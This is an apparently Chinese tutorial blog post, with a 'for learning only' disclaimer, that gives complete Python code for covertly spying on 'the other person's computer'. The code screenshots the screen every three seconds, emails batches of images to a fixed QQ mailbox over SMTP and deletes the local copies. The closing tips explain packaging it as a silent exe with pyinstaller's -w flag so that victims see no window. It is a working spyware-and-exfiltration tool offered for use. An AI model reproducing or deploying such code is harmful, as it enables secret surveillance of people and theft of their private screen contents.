申明
本文章仅供学习使用
先说一下功能的实现方式:
让对方的电脑自动截图,并且通过邮件的方式发给指定邮箱
再说一下需要的包:需要下载pyautogui
以及email
包,下载方式为在cmd命令行下输入pip install
+ 包名,或者python -m pip install
+ 包名。
首先,我们import一些库
import os #os库主要用于人机交互,可以新建文件夹、执行cmd命令以及列出文件夹内文件名
import pyautogui #用于截图
import time #计时
然后,再import一些库
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.header import Header
from email.mime.image import MIMEImage
from email.utils import formatdate
from email.mime.application import MIMEApplication
这些库主要用于发送邮件
然后,开始真正的正文部分:
def screenshot(num):
img = pyautogui.screenshot() #截取屏幕
img.save("D:/123/" + str(num) + '.jpg') #保存数据
这个函数很简单,仅两行。第一行的意思是将当前的屏幕以数据的方式保存到img变量中,第二行的意思是将img的数据保存到对应的路径中。路径可以自行设定,这里设为D盘。
def sendmail(list):
mail_host = 'smtp.qq.com'
sender = 'xxxxxx@qq.com'#发送者的邮箱
sendpw = 'xxxxxx'#密码或者授权码
receiver = ['xxxxxx@qq.com']#接受者邮件
message = MIMEMultipart()
message['From'] = Header("EGG's PC",'utf-8')
message['To'] = Header("sr",'utf-8')
subject = 'EGG'
message['Subject'] = Header(subject,'utf-8')
#添加图片
for i in list:
with open("D:/123/" + i,"rb")as f:
part2 = MIMEApplication(f.read())
part2['Content-Type'] = 'application/octet-stream'
part2['Content-Disposition'] = 'attachment;filename='+"D:/123/" + i
message.attach(part2)
try:
smtpObj = smtplib.SMTP_SSL(mail_host)
smtpObj.connect(mail_host,465)
smtpObj.login(sender,sendpw)
smtpObj.sendmail(sender,receiver[0],message.as_string())
print("OK")
except:
print("NO")
这一段的代码量有点大,我们分开来讲。
首先:
mail_host = 'smtp.qq.com'
sender = 'xxxxxx@qq.com'#发送者的邮箱
sendpw = 'xxxxxx'#密码或者授权码
receiver = ['xxxxxx@qq.com']#接受者邮件
因为我们通过python自动发邮件,所以需要在登录邮箱的服务器,然后再发送信息。
这一块的代码主要是提供登录信息,提供邮箱服务器地址、发送者的账号密码以及接受者的地址,这里可以添加多个接受者,在列表内用逗号隔开就行。
message = MIMEMultipart() #申明变量
message['From'] = Header("EGG's PC",'utf-8') #设置头
message['To'] = Header("sr",'utf-8') #设置发送给谁
subject = 'EGG' #设置主题
message['Subject'] = Header(subject,'utf-8')
在这块代码中,我们先申明一个变量message接收数据(这个时候message还为空,需要后面添加)
然后再给message设置各种格式,给大家看看效果图:
上面的三行分别是Subject,From,以及To。
这里由于编码的原因所以变乱码了,用英文来表达就比较好。
#添加图片
for i in list:
with open("D:/123/" + i,"rb")as f:
part2 = MIMEApplication(f.read())
part2['Content-Type'] = 'application/octet-stream'
part2['Content-Disposition'] = 'attachment;filename='+"D:/123/" + i
message.attach(part2)
这个list是由函数传入的一个列表,里面装了我们需要加入到message的图片的名字(比如1.jpg,2.jpg啥的)。
for i in list:
这一句将list的变量依次复制给变量i
,i
是图片的名字,接下来便是以二进制的方式打开文件,并且赋值给变量part2
,这个part2是我们需要添加到message中的。
接下来给message设置一下格式,将'Content-Type'
设置为'application/octet-stream'
,将'Content-Disposition'
设置为'attachment'
,最后再附加上filename。因为图片是保存在D:/123
中,所以文件名前面加上路径。
最后,利用attach
将内容添加进我发送的信息中。因为这里只发送图片,便只讲图片的添加方式,如果添加其他类型的文件也一样的,改一下文件名即可。
try:
smtpObj = smtplib.SMTP_SSL(mail_host) #建立smtp连接
smtpObj.connect(mail_host,465) #利用465端口连接
smtpObj.login(sender,sendpw) #登录
smtpObj.sendmail(sender,receiver[0],message.as_string()) #发送信息
print("OK")
except:
print("NO")
前面将信息准备好,全部存放在message中,这里需要将信息发送到指定的邮箱中。于是先建立SMTP连接,用SSL方式连接更可靠。
本来发送端口是25端口,但是这个端口的漏洞比较多,所以现在一般被关掉,用465端口。
然后利用账号密码登录邮箱,这里注意,填的sendpw一般是授权码。
最后就是将信息发出。
接下来讲一下主函数:
if __name__ == "__main__":
max_num = 10
li = os.listdir("D:/")
if "123" not in li:
os.mkdir("D:/123")
i = 0
while True:
screenshot(i)
time.sleep(3)
i += 1
if i % max_num == 0:
list = os.listdir("D:/123/")
print(list)
sendmail(list)
os.popen(R"del D:123*.jpg")
首先,设定一个max_num,毕竟不能每生成一张图片就发送过来,那样需要打开的邮件要非常多。但是也不能堆成一堆了再发过来,图片太大可能导致发送失败。
li = os.listdir("D:/")
if "123" not in li:
os.mkdir("D:/123")
os.listdir()
函数可以列出对应文件夹下有哪些文件或者文件夹,以列表的形式返回。判断我们需要的123
文件夹是否已经建立,若没有建立,那就利用os.mkdir()
函数新建一个123
文件夹。
i = 0
while True:
screenshot(i) #截图并保存
time.sleep(3) #休眠3秒
i += 1 #计数
if i % max_num == 0: #每一定数量的图片汇总后再发送
list = os.listdir("D:/123/") #获得当前文件夹下所有图片的文件名
print(list) #显示一下是哪几张图片,可以不要
sendmail(list) #发送邮件
os.popen(R"del D:123*.jpg") #清空文件夹下所有图片
首先利用前面定义的screen()函数截图,然后休眠一段时间。
然后每10张图片汇总后对图片进行发送。
最后利用os.popen()
函数执行cmd命令。cmd命令为del *.jpg
用来清空所有的jpg文件。但是我们需要清空的不是当前目录下的文件,而是D:/123
下的文件,所以需要加上对应路径,也就成为了del D:123*.jpg
但是在python中,是反斜杠,起到转义作用,比如
是换行的意思。如果用在字符串中,系统会默认是转义字符的意思,而不是路径名。解决方法有两个:
1.字符前面加一个R或r,例:R"del D:123*.jpg"
2.将本身转义,例:
del D:\123\*.jpg
讲解结束,挂上完整代码供大家使用:
import os
import pyautogui
import time
import sys
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.header import Header
from email.mime.image import MIMEImage
from email.utils import formatdate
from email.mime.application import MIMEApplication
import email.mime.multipart
import email.mime.text
def screenshot(num):
img = pyautogui.screenshot()
#path = "C:UsersAdministratorPic" + str(num) + '.jpg'
img.save("D:/123/" + str(num) + '.jpg')
def sendmail(list):
mail_host = 'smtp.qq.com'
sender = 'xxxxxx@qq.com'#发送者的邮箱
sendpw = 'xxxxxx'#密码或者授权码
receiver = ['xxxxxx@qq.com']#接受者邮件
message = MIMEMultipart()
message['From'] = Header("EGG's PC",'utf-8')
message['To'] = Header("sr",'utf-8')
subject = 'EGG'
message['Subject'] = Header(subject,'utf-8')
#添加图片
for i in list:
with open("D:/123/" + i,"rb")as f:
part2 = MIMEApplication(f.read())
part2['Content-Type'] = 'application/octet-stream'
part2['Content-Disposition'] = 'attachment;filename='+"D:/123/" + i
message.attach(part2)
try:
smtpObj = smtplib.SMTP_SSL(mail_host)
smtpObj.connect(mail_host,465)
smtpObj.login(sender,sendpw)
smtpObj.sendmail(sender,receiver[0],message.as_string())
print("OK")
except:
print("NO")
if __name__ == "__main__":
max_num = 10
li = os.listdir("D:/")
if "123" not in li:
os.mkdir("D:/123")
i = 0
while True:
screenshot(i)
time.sleep(3)
i += 1
if i % max_num == 0:
list = os.listdir("D:/123/")
print(list)
sendmail(list)
os.popen(R"del D:123*.jpg")
代码讲解结束了,这里附上几点注意事项:
- 163邮箱最近出了一个安全码啥的,所以发送邮箱不要用163的,容易失败(我试了一晚上不能用)
- 可以使用
pyinstaller
命令来打包文件,将py文件打包成exe文件。没有pyinstaller库的可以在cmd下利用pip install pyinstaller
或者python -m pip install pyinstaller
。使用的方式为:在cmd下,切换到对应目录,执行:pyinstaller -F xxx.py -n +你希望转成的exe的名字 -w
-F
后面跟py文件的名字,-n
后面跟你想要的exe的名字,-w
是静默运行的意思,也就是说当对方双击exe文件时不会出现窗口。